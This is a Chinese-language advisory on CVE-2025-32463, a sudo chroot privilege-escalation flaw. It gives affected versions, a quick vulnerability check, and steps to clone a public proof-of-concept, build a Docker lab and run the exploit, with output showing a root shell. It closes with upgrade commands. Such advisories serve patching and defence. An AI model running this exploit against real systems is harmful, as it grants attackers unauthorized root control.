漏洞描述

CVE-2025-32463是一个存在于 Linux 系统 sudo 组件中的高危本地权限提升漏洞，主要与 chroot 功能的安全性弱点相关。此漏洞允许攻击者通过精心构造特定的环境变量，在执行 sudo chroot 命令时规避既定的安全约束，进而非法获取目标系统的 root 权限。该安全问题的根本原因在于 chroot 机制在处理来自不可信源的输入时存在缺陷，未能有效防止潜在的权限升级攻击向量。

影响组件

Linux 是一个免费且开源的操作系统，其设计灵感来源于 Unix，并在服务器、嵌入式系统以及云计算平台等领域得到了广泛应用。
作为 Linux 系统中管理权限的关键机制之一，sudo 允许经过授权的用户临时性地获取 root 或其他指定用户的权限以执行特定命令。这一机制不仅增强了系统的安全性，同时也简化了操作日志的记录与审计流程。

影响版本

大多数Linux发行版上的sudo 1.9.14至1.9.17（所有p修订版）的易受攻击版本都会受到影响。

漏洞复现

关注公众号回复: CVE-2025-32463获取提权exp

快速检查漏洞

# Vulnerable sudo
pwn ~ $ sudo -R woot woot
sudo: woot: No such file or directory

# Patched sudo
pwn ~ $ sudo -R woot woot
[sudo] password for pwn:
sudo: you are not permitted to use the -R option with woot

Docker容器中的测试漏洞

# 1 – clone repo
$ git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.git
$ cd CVE-2025-32463_chwoot

# 2 – build and run Docker image (tagged "sudo-chwoot")
$ ./run.sh

# 3 – run exploit in container (runs root command directly or drops you into a root shell)
pwn@f722d9182d1f:~$ ./sudo-chwoot.sh id
woot!
uid=0(root) gid=0(root) groups=0(root),1001(pwn)
pwn@f722d9182d1f:~$ ./sudo-chwoot.sh
woot!
root@f722d9182d1f:/# id
uid=0(root) gid=0(root) groups=0(root),1001(pwn)
root@f722d9182d1f:/#

修复建议

建议立即进行升级：将 sudo 更新至 1.9.17p1 或更高版本。目前，主流 Linux 发行版已提供相应的安全补丁，用户可通过执行以下命令来完成更新过程。

# Ubuntu/Debian  
sudo apt update && sudo apt upgrade sudo 

# CentOS/RHEL  
sudo yum update sudo  

推荐文章